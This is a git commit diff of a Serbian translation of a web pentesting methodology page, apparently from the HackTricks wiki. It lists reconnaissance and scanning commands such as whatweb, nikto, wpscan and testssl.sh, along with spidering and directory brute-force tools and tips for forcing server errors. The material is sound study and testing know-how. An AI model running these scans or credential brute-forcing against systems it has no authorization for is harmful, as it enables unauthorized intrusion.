Translated ['src/network-services-pentesting/pentesting-web/README.md',

This commit is contained in:
Translator 2025-08-28 14:23:30 +00:00
parent 53be02f8a3
commit f2732bee14
5 changed files with 302 additions and 185 deletions

View File

@ -432,6 +432,7 @@
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md) - [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md) - [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md) - [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md) - [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
- [Joomla](network-services-pentesting/pentesting-web/joomla.md) - [Joomla](network-services-pentesting/pentesting-web/joomla.md)

View File

@ -1,10 +1,10 @@
# 80,443 - Pentesting Web Methodology # 80,443 - Pentesting Web metodologija
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije ## Osnovne informacije
Web servis je najviše **uobičajen i opsežan servis** i postoji mnogo **različitih tipova ranjivosti**. Web servis je **najčešći i najopsežniji servis** i postoji mnogo **različitih tipova ranjivosti**.
**Podrazumevani port:** 80 (HTTP), 443(HTTPS) **Podrazumevani port:** 80 (HTTP), 443(HTTPS)
```bash ```bash
@ -17,55 +17,55 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0 nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
``` ```
### Web API Guidance ### Vodič za Web API
{{#ref}} {{#ref}}
web-api-pentesting.md web-api-pentesting.md
{{#endref}} {{#endref}}
## Methodology summary ## Sažetak metodologije
> U ovoj metodologiji pretpostavljamo da ćete napasti domen (ili poddomen) i samo to. Dakle, trebali biste primeniti ovu metodologiju na svaki otkriveni domen, poddomen ili IP sa neodređenim web serverom unutar opsega. > U ovoj metodologiji pretpostavićemo da ćete napadati jedan domain (ili subdomain) i samo njega. Dakle, treba da primenite ovu metodologiju na svaki otkriven domain, subdomain ili IP sa nedefinisanim web serverom unutar opsega.
- [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju. - [ ] Počnite sa **identifikacijom** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspete da identifikujete tehnologiju.
- [ ] Da li postoji neka **poznata ranjivost** verzije tehnologije? - [ ] Postoji li neka **poznata ranjivost** za verziju te tehnologije?
- [ ] Koristite neku **poznatu tehnologiju**? Ima li neki **koristan trik** za izvlačenje više informacija? - [ ] Koristi li se neka **well known tech**? Postoji li neki **useful trick** za dobijanje više informacija?
- [ ] Da li postoji neki **specijalizovani skener** koji treba pokrenuti (kao što je wpscan)? - [ ] Postoji li neki **specialised scanner** za pokretanje (npr. wpscan)?
- [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili neku zanimljivu informaciju. - [ ] Pokrenite **general purposes scanners**. Nikad ne znate hoće li pronaći nešto ili neke interesantne informacije.
- [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS). - [ ] Počnite sa **initial checks**: **robots**, **sitemap**, **404** error i **SSL/TLS scan** (ako HTTPS).
- [ ] Počnite sa **spidering** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**. - [ ] Počnite sa **spidering** web stranice: vreme je da **pronađete** sve moguće **files, folders** i **parameters being used.** Takođe, proverite za **special findings**.
- [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga spiderovati._ - [ ] _Napomena: svaki put kad se otkrije novi directory tokom brute-forcing ili spidering, treba ga spiderovati._
- [ ] **Brute-Forcing direktorijuma**: Pokušajte da brute-forcujete sve otkrivene foldere tražeći nove **fajlove** i **direktorijume**. - [ ] **Directory Brute-Forcing**: Pokušajte da brute force-ujete sve otkrivene folders tražeći nove **files** i **directories**.
- [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._ - [ ] _Napomena: svaki put kad se otkrije novi directory tokom brute-forcing ili spidering, treba da bude Brute-Forced._
- [ ] **Proveravanje rezervnih kopija**: Testirajte da li možete pronaći **rezervne kopije** **otkrivenih fajlova** dodavanjem uobičajenih ekstenzija za rezervne kopije. - [ ] **Backups checking**: Testirajte da li možete pronaći **backups** od **discovered files** dodavanjem uobičajenih backup ekstenzija.
- [ ] **Brute-Force parametri**: Pokušajte da **pronađete skrivene parametre**. - [ ] **Brute-Force parameters**: Pokušajte da **find hidden parameters**.
- [ ] Kada ste **identifikovali** sve moguće **endpointe** koji prihvataju **korisnički unos**, proverite sve vrste **ranjivosti** povezane s tim. - [ ] Kada ste **identifikovali** sve moguće **endpoints** koji prihvataju **user input**, proverite sve vrste **vulnerabilities** vezanih za njih.
- [ ] [Pratite ovu kontrolnu listu](../../pentesting-web/web-vulnerabilities-methodology.md) - [ ] [Sledite ovu kontrolnu listu](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?) ## Verzija servera (Ranjiv?)
### Identify ### Identifikacija
Proverite da li postoje **poznate ranjivosti** za verziju servera **koja se koristi**.\ Proverite da li postoje **poznate ranjivosti** za verziju servera koja se pokreće.\
**HTTP zaglavlja i kolačići odgovora** mogu biti veoma korisni za **identifikaciju** **tehnologija** i/ili **verzije** koja se koristi. **Nmap sken** može identifikovati verziju servera, ali takođe mogu biti korisni alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ili [**https://builtwith.com/**](https://builtwith.com)**:** **HTTP headers and cookies of the response** mogu biti veoma korisni za identifikaciju tehnologija i/ili verzije koja se koristi. **Nmap scan** može identifikovati verziju servera, ali korisni mogu biti i alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) ili [**https://builtwith.com/**](https://builtwith.com)**:**
```bash ```bash
whatweb -a 1 <URL> #Stealthy whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive whatweb -a 3 <URL> #Aggresive
webtech -u <URL> webtech -u <URL>
webanalyze -host https://google.com -crawl 2 webanalyze -host https://google.com -crawl 2
``` ```
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) Potraži [**ranjivosti verzije web aplikacije**](../../generic-hacking/search-exploits.md)
### **Proverite da li postoji neki WAF** ### **Proveri da li postoji WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Web tehnološke trikove ### Trikovi za web tehnologije
Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologijama** koje se koriste: Neki **trikovi** za **pronalaženje ranjivosti** u različitim dobro poznatim **tehnologijama** koje se koriste:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md) - [**Apache**](apache.md)
@ -77,8 +77,9 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi
- [**Git**](git.md) - [**Git**](git.md)
- [**Golang**](golang.md) - [**Golang**](golang.md)
- [**GraphQL**](graphql.md) - [**GraphQL**](graphql.md)
- [**H2 - Java SQL baza podataka**](h2-java-sql-database.md) - [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**IIS trikovi**](iis-internet-information-services.md) - [**ISPConfig**](ispconfig.md)
- [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md) - [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
@ -88,7 +89,7 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi
- [**Laravel**](laravel.md) - [**Laravel**](laravel.md)
- [**Moodle**](moodle.md) - [**Moodle**](moodle.md)
- [**Nginx**](nginx.md) - [**Nginx**](nginx.md)
- [**PHP (php ima mnogo zanimljivih trikova koji se mogu iskoristiti)**](php-tricks-esp/index.html) - [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
- [**Python**](python.md) - [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md) - [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md) - [**Symphony**](symphony.md)
@ -98,21 +99,21 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi
- [**WebDav**](put-method-webdav.md) - [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md) - [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md) - [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/index.html) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_Uzmite u obzir da **isti domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **poddomenama**._\ _Imajte u vidu da isti **domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **poddomenima**._\
Ako web aplikacija koristi neku poznatu **tehnologiju/platformu navedenu ranije** ili **bilo koju drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!). Ako web aplikacija koristi neku od prethodno navedenih dobro poznatih **tehnologija/platformi** ili **neku drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!).
### Pregled izvornog koda ### Pregled izvornog koda
Ako je **izvorni kod** aplikacije dostupan na **github**, pored izvođenja **sopstvenog White box testa** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**: Ako je **source code** aplikacije dostupan na **github**, pored izvođenja od strane vas **White box test** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testing**:
- Da li postoji **Change-log ili Readme ili Version** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem veba? - Postoji li **Change-log**, **Readme** ili **Version** fajl ili nešto sa **informacijama o verziji dostupnim** preko weba?
- Kako i gde su sačuvane **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisničkim imenima ili lozinkama)? - Kako i gde su sačuvane **credentials**? Postoji li neki (pristupačni?) **file** sa credentials (korisnička imena ili passwords)?
- Da li su **lozinke** u **običnom tekstu**, **kriptovane** ili koji **hash algoritam** se koristi? - Da li su **passwords** u **plain text**, **encrypted** ili koji **hashing algorithm** se koristi?
- Da li se koristi neki **glavni ključ** za kriptovanje nečega? Koji **algoritam** se koristi? - Da li koristi neki **master key** za enkripciju nečega? Koji **algorithm** se koristi?
- Možete li **pristupiti bilo kojoj od ovih datoteka** iskorišćavajući neku ranjivost? - Možete li **pristupiti bilo kojem od ovih fajlova** iskorišćavanjem neke ranjivosti?
- Da li postoji neka **zanimljiva informacija na github-u** (rešeni i nerešeni) **problemi**? Ili u **istoriji commit-a** (možda neka **lozinka uvedena unutar starog commita**)? - Ima li neke **zanimljive informacije na githubu** (rešene i nerešene) **issues**? Ili u **commit history** (možda je neka **password** ubačen u starom commitu)?
{{#ref}} {{#ref}}
@ -121,7 +122,7 @@ code-review-tools.md
### Automatski skeneri ### Automatski skeneri
#### Automatski skeneri opšte namene #### General purpose automatic scanners
```bash ```bash
nikto -h <URL> nikto -h <URL>
whatweb -a 4 <URL> whatweb -a 4 <URL>
@ -135,10 +136,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
``` ```
#### CMS skeneri #### CMS skeneri
Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda će se pronaći nešto zanimljivo: Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda se nađe nešto korisno:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** vebsajtovi za bezbednosne probleme. (GUI)\ [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sajtove zbog sigurnosnih problema. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ili** [**(M)oodle**](moodle.md)\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ili** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -148,11 +149,11 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL> joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs joomlavs.rb #https://github.com/rastating/joomlavs
``` ```
> U ovom trenutku već biste trebali imati neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, možda ste čak pronašli CMS i pokrenuli neki skener. > U ovoj fazi trebalo bi da već imate neke informacije o web serveru koji koristi klijent (ako su dati podaci) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, čak ste pronašli CMS i pokrenuli neki scanner.
## Postupno otkrivanje web aplikacija ## Koračno otkrivanje web aplikacije
> Od ovog trenutka počinjemo da komuniciramo sa web aplikacijom. > Od ovog trenutka počinjemo da interagujemo sa web aplikacijom.
### Početne provere ### Početne provere
@ -163,30 +164,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /crossdomain.xml - /crossdomain.xml
- /clientaccesspolicy.xml - /clientaccesspolicy.xml
- /.well-known/ - /.well-known/
- Takođe proverite komentare na glavnim i sekundarnim stranicama. - Proverite i komentare na glavnim i sekundarnim stranicama.
**Prisiljavanje grešaka** **Navođenje grešaka**
Web serveri mogu **nepredvidivo reagovati** kada im se šalju čudni podaci. Ovo može otvoriti **ranjivosti** ili **otkriti osetljive informacije**. Web serveri se mogu **ponašati neočekivano** kada im se pošalju čudni podaci. To može otvoriti **ranjivosti** ili dovesti do **otkrivanja osetljivih informacija**.
- Pristupite **lažnim stranicama** kao što su /whatever_fake.php (.aspx,.html,.etc) - Pristupite **lažnim stranicama** kao što su /whatever_fake.php (.aspx,.html,.etc)
- **Dodajte "\[]", "]]", i "\[\["** u **vrednosti kolačića** i **vrednosti parametara** da biste izazvali greške - **Dodajte "\[]", "]]", i "\[\["** u **vrednosti cookie-ja** i **parametara** da izazovete greške
- Generišite grešku tako što ćete dati unos kao **`/~randomthing/%s`** na **kraj** **URL-a** - Generišite grešku unošenjem **`/~randomthing/%s`** na **kraj** **URL-a**
- Pokušajte sa **različitim HTTP metodama** kao što su PATCH, DEBUG ili pogrešnim kao FAKE - Isprobajte **različite HTTP Verbs** kao PATCH, DEBUG ili pogrešne kao FAKE
#### **Proverite da li možete da otpremite fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)** #### **Proverite da li možete da otpremite fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpremanje fajlova** u root folder, pokušajte da: Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpremanje fajlova** u root folder, pokušajte da:
- **Brute Force** kredencijale - **Brute Force** credentials
- **Otpremite fajlove** putem WebDav u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima. - **Upload files** via WebDav u **ostatak** **pronađenih foldera** unutar web stranice. Možda imate dozvole da otpremite fajlove u drugim folderima.
### **SSL/TLS ranjivosti** ### **SSL/TLS ranjivosti**
- Ako aplikacija **ne prisiljava korisnika na HTTPS** u bilo kojem delu, onda je **ranjiva na MitM** - Ako aplikacija **ne primorava korišćenje HTTPS** ni u jednom delu, onda je **ranjiva na MitM**
- Ako aplikacija **šalje osetljive podatke (lozinke) koristeći HTTP**. Tada je to visoka ranjivost. - Ako aplikacija **šalje osetljive podatke (lozinke) koristeći HTTP**. To predstavlja visoku ranjivost.
Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) za proveru **ranjivosti** (u Bug Bounty programima verovatno ove vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv**](https://github.com/hahwul/a2sv) za ponovnu proveru ranjivosti: Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) da proverite **ranjivosti** (u Bug Bounty programima verovatno ove vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv**](https://github.com/hahwul/a2sv) da ponovo proverite ranjivosti:
```bash ```bash
./testssl.sh [--htmlfile] 10.10.10.10:443 ./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also #Use the --htmlfile to save the output inside an htmlfile also
@ -202,58 +203,58 @@ Informacije o SSL/TLS ranjivostima:
### Spidering ### Spidering
Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što više putanja** iz testirane aplikacije. Stoga, web crawling i spoljašnji izvori treba da se koriste za pronalaženje što više validnih putanja. Pokrenite neku vrstu **spider** unutar web-a. Cilj **spider**-a je da **pronađe što više putanja** iz testirane aplikacije. Stoga, web crawling i eksterni izvori treba da se koriste da bi se pronašlo što više validnih putanja.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS datotekama i spoljašnjim izvorima (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS files i eksternim izvorima (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFinder-om za JS datoteke i Archive.org kao spoljnim izvorom. - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFider za JS files i Archive.org kao eksterni izvor.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "sočne datoteke". - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje u Archive.org. - [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider, ali može biti koristan. Možete jednostavno naznačiti datoteku sa hostovima i datoteku sa putanjama, a meg će preuzeti svaku putanju na svakom hostu i sačuvati odgovor. - [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider ali može biti koristan. Možete samo navesti fajl sa hostovima i fajl sa putanjama i meg će fetch-ovati svaku putanju na svakom hostu i sačuvati odgovor.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira. - [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa JS rendering mogućnostima. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira
- [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi spoljne provajdere (wayback, otx, commoncrawl). - [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi eksterne provajdere (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ovaj skript će pronaći URL-ove sa parametrima i navesti ih. - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skripta koja će naći URL-ove sa parametrima i izlistati ih.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a. - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa JS rendering mogućnostima.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretragu novih putanja u JS datotekama. Takođe bi bilo korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposoban da traži nove putanje u JS files. Može biti korisno takođe pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je wrapper LinkFinder-a.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju krajnjih tačaka u HTML izvoru i ugrađenim javascript datotekama. Korisno za lovce na greške, red timere, infosec nindže. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju endpoints kako iz HTML source-a tako i iz embedded javascript fajlova. Korisno za bug hunter-e, red team-e, infosec ninje.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skript koji koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript datoteka. Korisno za lako otkrivanje AJAX zahteva. Izgleda da nije održavan. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skripta koja koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript fajlova. Korisno za lako otkrivanje AJAX zahteva. Izgleda neodržavano.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dajući datoteku (HTML) iz nje će izvući URL-ove koristeći pametnu regularnu ekspresiju za pronalaženje i ekstrakciju relativnih URL-ova iz ružnih (minify) datoteka. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Za dati fajl (HTML) ekstrahuje URL-ove koristeći zgodan regularni izraz da pronađe i izvuče relativne URL-ove iz "ružnih" (minify) fajlova.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikupiti zanimljive informacije iz JS datoteka koristeći nekoliko alata. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikuplja interesantne informacije iz JS files koristeći više alata.
- [**subjs**](https://github.com/lc/subjs) (go): Pronađi JS datoteke. - [**subjs**](https://github.com/lc/subjs) (go): Pronalazi JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učitaj stranicu u headless pretraživaču i ispiši sve URL-ove učitane za učitavanje stranice. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učita stranicu u headless browser-u i ispiše sve URL-ove koje je učitao da bi učitao stranicu.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Alat za otkrivanje sadržaja koji kombinuje nekoliko opcija prethodnih alata. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Tool za otkrivanje sadržaja kombinujući nekoliko opcija prethodnih alata
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje putanja i parametara u JS datotekama. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje path i params u JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dajući .js.map URL, dobija beatifikovani JS kod. - [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dat .js.map URL, dobije beatified JS kod
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ovaj alat se koristi za otkrivanje krajnjih tačaka za dati cilj. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Alat za otkrivanje endpoints za dati target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrijte linkove iz wayback mašine (takođe preuzimajući odgovore u wayback-u i tražeći više linkova). - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrij linkove iz wayback machine-a (takođe preuzimajući odgovore u wayback i tražeći dalje linkove)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawling (čak i popunjavanjem obrazaca) i takođe pronalaženje osetljivih informacija koristeći specifične regex-e. - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl-uje (čak i popunjavanjem formi) i takođe pronalazi osetljive informacije koristeći specifične regex-e.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni GUI web sigurnosni crawler/spider dizajniran za profesionalce u sajber bezbednosti. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni multi-feature GUI web security Crawler/Spider dizajniran za cyber security profesionalce.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): To je Go paket i [alat komandne linije](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, putanja, tajni i drugih zanimljivih podataka iz JavaScript izvornog koda. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go package i [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, putanja, sekretâ i drugih interesantnih podataka iz JavaScript source koda.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite ekstenzija** za **ekstrakciju parametara i krajnjih tačaka** iz zahteva za kreiranje prilagođene rečnika za fuzzing i enumeraciju. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite extension** za **ekstrakciju parametara i endpoints** iz request-a da bi se kreirao custom wordlist za fuzzing i enumeraciju.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Sjajan alat za ovo. - [**katana**](https://github.com/projectdiscovery/katana) (go): Sjajan tool za ovo.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Ispiši svaki link koji može pronaći. - [**Crawley**](https://github.com/s0rg/crawley) (go): Ispisuje svaki link koji uspe da pronađe.
### Brute Force direktorijumi i datoteke ### Brute Force directories and files
Započnite **brute-forcing** iz root foldera i budite sigurni da brute-forcujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** putem **Spidering-a** (možete ovo raditi **rekurzivno** i dodavati na početak korišćenog rečnika imena pronađenih direktorijuma).\ Počnite sa **brute-forcing** iz root folder-a i obavezno brute-force-ujte **sve** **direktorijume koji su pronađeni** koristeći **ovu metodu** i sve direktorijume **otkrivene** tokom **Spidering** (možete izvršiti brute-forcing **rekurzivno** i dodati na početak korišćene wordlist-e imena pronađenih direktorijuma).\
Alati: Tools:
- **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivnu pretragu. Previše sporo u poređenju sa drugim opcijama. - **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava automatski potpisane sertifikate, ali** dozvoljava rekurzivnu pretragu. - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava automatski potpisane sertifikate, **ne** ima **rekurzivnu** pretragu. - [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
